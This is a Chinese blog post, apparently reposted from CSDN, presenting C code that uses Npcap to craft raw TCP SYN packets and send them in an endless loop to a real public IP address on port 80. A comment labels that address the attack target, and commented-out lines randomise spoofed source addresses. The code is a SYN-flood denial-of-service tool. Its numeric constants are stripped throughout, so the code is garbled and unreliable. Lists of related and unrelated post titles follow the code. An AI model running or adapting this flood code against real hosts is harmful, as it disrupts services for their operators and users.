Npcap.例子(raw tcp syn)
1、来自:winpcap实现syn攻击 - 125096 - CSDN博客.html(https://blog.csdn.net/qq125096885/article/details/51784524)
2、我的代码:(代码 用Npcap来跑,基本不用修改)(Win7x64、vs2017、使用 x86编译的Debug版本)
// Npcap_01.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
// #include <iostream> #pragma warning(disable : 4996) //int main()
//{
// std::cout << "Hello World!\n";
//} //#define _W64
//#define HAVE_REMOTE
#include<stdio.h>
#include<pcap.h>
#include<winsock2.h>
#include <time.h>
//#include "remote-ext.h" #pragma comment(lib,"wpcap.lib")
#pragma comment(lib,"WS2_32.lib") #pragma pack(push,1)
typedef struct _TCP_SYN
{
unsigned char DstMAC[]; // 目的mac地址
unsigned char SrcMAC[]; // 源mac地址
unsigned char OtherData[];
unsigned short Header_ChechSum; // 校验和
unsigned int SrcIP; // Source IP address
unsigned int DstIP; // Destination IP address
unsigned short SrcPort; // Source IP Port
unsigned short DstPort; // Destination IP Port,一般为80端口,值为0x5000
unsigned char Ohters[];
unsigned short pak_checksum;
unsigned char OtherLast[];
}TCP_SYN, *PTCP_SYN;
#pragma pack(pop) unsigned char bufData[] = "\x00\x25\x86\x27\xd1\x22\x90\x2b\x34\x60\xbd\x44\x08\x00\x45\x00"
"\x00\x34\x61\xdc\x40\x00\x80\x06\x71\x83\xc0\xa8\x01\x6a\x7a\xe4"
"\xea\x6d\x0b\x0c\x00\x50\xb9\xc2\xf5\x06\x00\x00\x00\x00\x80\x02"
"\xff\xff\x8d\x8d\x00\x00\x02\x04\x05\xb4\x01\x03\x03\x01\x01\x01"
"\x04\x02"; // clac the header's check sum
unsigned short checksum(unsigned short *buffer, int size)
{
unsigned long cksum = ;
while (size > )
{
cksum += *buffer++;
size -= sizeof(unsigned short);
}
if (size)
{
cksum += *(unsigned char*)buffer;
}
cksum = (cksum >> ) + (cksum & 0xffff);
cksum += (cksum >> );
return (unsigned short)(~cksum);
} int main(int argc, char* argv[])
{
pcap_if_t *alldevs;
pcap_if_t *seldev;
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
srand(time()); /* 获取本机设备列表 */
if (pcap_findalldevs(&alldevs, errbuf) == -)
{
fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
exit();
} // 找到一个有ip的就当有连网的网卡了
for (seldev = alldevs; seldev != NULL; seldev = seldev->next)
{
pcap_addr* pcapaddr = NULL;
for (pcapaddr = seldev->addresses; pcapaddr != NULL; pcapaddr = pcapaddr->next)
{
//if (pcapaddr->addr->sa_data[2] != '\0' && pcapaddr->addr->sa_data[3] != '\0')
//{
// break;
//} printf("seldev->name : %s\n", seldev->name);
for (int i = ; i < ; i++)
printf("%d ", (UCHAR)pcapaddr->addr->sa_data[i]);
printf("\n"); //printf("%d, %d\n", pcapaddr->addr->sa_data[2], pcapaddr->addr->sa_data[3]);
if ((UCHAR)pcapaddr->addr->sa_data[] == && (UCHAR)pcapaddr->addr->sa_data[] == )
{
printf("will break;\n");
break;
}
}
if (pcapaddr != NULL)
break; printf("\n");
}
if (seldev == NULL)
{
fprintf(stderr, "Can not find network!\n");
exit();
} printf("seldev->name : %d\n", seldev->name);
for (int i = ; i < ; i++)
printf("%d ", (UCHAR)seldev->addresses->addr->sa_data[i]);
printf("\n"); /* 打开这个输出设备 */
if ((fp = pcap_open(seldev->name, // 设备名
, // 要捕获的部分 (只捕获前100个字节)
PCAP_OPENFLAG_PROMISCUOUS, // 混杂模式
, // 读超时时间
NULL, // 远程机器验证
errbuf // 错误缓冲
)) == NULL)
{
fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", alldevs->name);
return -;
} // 修改源MAC、IP地址 , 并修改首部校验和
PTCP_SYN SynData = (PTCP_SYN)bufData;
while ()
{
//memcpy(SynData->SrcMAC, "\x01\x01\x01\x01\x01\x01", 6); // 源MAC地址 01:01:01:01:01:01
memcpy(SynData->SrcMAC, "\x04\xd4\xc4\x59\x7a\x1c", );// 04-D4-C4-59-7A-1C
memcpy(SynData->DstMAC, "\x04\xf9\x38\xa6\xd7\xcb", );// 04-f9-38-a6-d7-cb SynData->DstIP = inet_addr("39.156.69.79"); // 攻击的目标
SynData->DstPort = htons(); // 目标端口80
SynData->SrcIP = inet_addr("172.16.19.181");// (unsigned int)rand(); // 源IP地址随机产生
SynData->SrcPort = htons();// (unsigned short)rand() % 100 + 1024; // 源端口随机产生 SynData->Header_ChechSum = ;
SynData->Header_ChechSum = checksum((unsigned short*)&bufData[], ); // 计算checksum
// printf("%d\n", SynData->Header_ChechSum); /* 发送数据包 */
// (wireshark 黑底红字为 校验和错误 的包).
if (pcap_sendpacket(fp, bufData, sizeof(bufData) - ) != )
{
fprintf(stderr, "\nError sending the packet: \n", pcap_geterr(fp));
return -;
} system("pause");
//break;
} /* 释放设备列表 */
pcap_freealldevs(alldevs);
return ;
}
3、
4、
5、
Npcap.例子(raw tcp syn)的更多相关文章
- 扯谈网络编程之Tcp SYN flood洪水攻击
简单介绍 TCP协议要经过三次握手才干建立连接: (from wiki) 于是出现了对于握手过程进行的攻击.攻击者发送大量的SYN包,server回应(SYN+ACK)包,可是攻击者不回应ACK包,这 ...
- TCP SYN flood洪水攻击原理和防御破解
简介 TCP协议要经过三次握手才能建立连接: 于是出现了对于握手过程进行的攻击.攻击者发送大量的SYN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+AC ...
- TCP SYN扫描学习笔记
1.TCP SYN包扫描主机状态的原理:tcp协议规定,当目标主机收到一个tcp syn 包时,若目标主机处于开放状态,会返回给源主机一个tcp ack 包(目的端口开放),或者向源主机发送一个tcp ...
- Windows下C语言的Socket编程例子(TCP和UDP)
原文:Windows下C语言的Socket编程例子(TCP和UDP) 刚刚学windows编程,所以想写学习笔记,这是一个简单的Socket程序例子,开发环境是vc6: 首先是TCP server端: ...
- [转] 3个学习Socket编程的简单例子:TCP Server/Client, Select
以前都是采用ACE的编写网络应用,最近由于工作需要,需要直接只用socket接口编写CS的代码,重新学习这方面的知识,给出自己所用到的3个简单例子,都是拷贝别人的程序.如果你能完全理解这3个例子,估计 ...
- C#Winform窗体实现服务端和客户端通信例子(TCP/IP)
Winform窗体实现服务端和客户端通信的例子,是参考这个地址 http://www.cnblogs.com/longwu/archive/2011/08/25/2153636.html 进行了一些异 ...
- 170410、java Socket通信的简单例子(TCP)
服务端代码: package com.bobohe.socket; import java.io.*; import java.net.*; import java.applet.Applet; pu ...
- Npcap.资料
1.ZC:Npcap 是 WinPcap停更之后的继承者.我尝试了 Win7中发送raw tcp syn,它的代码和 使用WinPcap的基本一致. Developing software with ...
- TCP:三次握手,URG、ACK、PSH、RST、SYN、FIN 含义
http://blog.csdn.net/wudiyi815/article/details/8505726 TCP:SYN ACK FIN RST PSH URG简析 三次握手Three-way ...
随机推荐
- 题解 [51nod1225]余数之和
题解 [51nod1225]余数之和 题面 解析 首先可以发现,\(a\)%\(b\)\(=a-b*\lfloor a/b \rfloor\). 而对于一段连续的\(b\)来说\(\lfloor a/ ...
- Gluon学习02-使用GPU
小书匠kindle 目录,方便快速定位: 1.安装cuda与cudnn 2.安装mxnet-gpu 本机环境介绍: 系统:Linuxmint Python版本:Python3 1.安装cuda与cud ...
- 5、创建RDD(集合、本地文件、HDFS文件)
一.创建RDD 1.创建RDD 进行Spark核心编程时,首先要做的第一件事,就是创建一个初始的RDD.该RDD中,通常就代表和包含了Spark应用程序的输入源数据.然后在创建了初始的RDD之后,才可 ...
- 数据结构实验之图论十:判断给定图是否存在合法拓扑序列(SDUT 2140)
分析:BFS判断是否有环. #include<bits/stdc++.h> using namespace std; typedef long long ll; int gra[200][ ...
- LBA逻辑块地址
LBA简介 磁盘读取发展 IO操作读取硬盘的三种方式: chs方式 :小于8G (8064MB) LBA28方式:小于137GB LBA48方式:小于144,000,000 GB LBA方式访问使用了 ...
- mysql的 UUID的生成方式
之前一直用的 int 自增的方式,之后总觉得缺少自信. 之后,我觉得采用uuid的方式,可能会好一些,至于用户统计排序等,则另用属性进行记录. 这里设计到一对矛盾: 安全性 与 网络带宽利 ...
- js 返回两数(包含这两数)之间的随机数函数
function selectFrom( lowerValue, upperValue ){ var choices = upperValue - lowerValue + 1; return Mat ...
- TCP/IP 这猝不及防的爱情
前言 前几天看了老刘的一篇文章,TCP/IP 大明邮差.正好最近也在读<计算机自顶向下>一书 心血来潮,想写一个女版的TCP/IP 正文 一天,我正在百花会上赏花,赏着赏着,就出现了一个令 ...
- SQL SERVER 从其它数据库中复制带自增ID主键的表数据
SQL SERVER两个结构相同(或不同)的表,互相导入数据,方法有两种: 1.使用SQL SERVER 自带的导出.导入功能,在库名上右击,“任务”,导出数据.导入数据,这个操作具体不就不多讲了. ...
- LeetCode 第 151 场周赛
一.查询无效交易(LeetCode-1169) 1.1 题目描述 1.2 解题思路 根据,它和另一个城市中同名的另一笔交易相隔不超过 60 分钟(包含 60 分钟整) 得出 城市A和其他城市任何一笔交 ...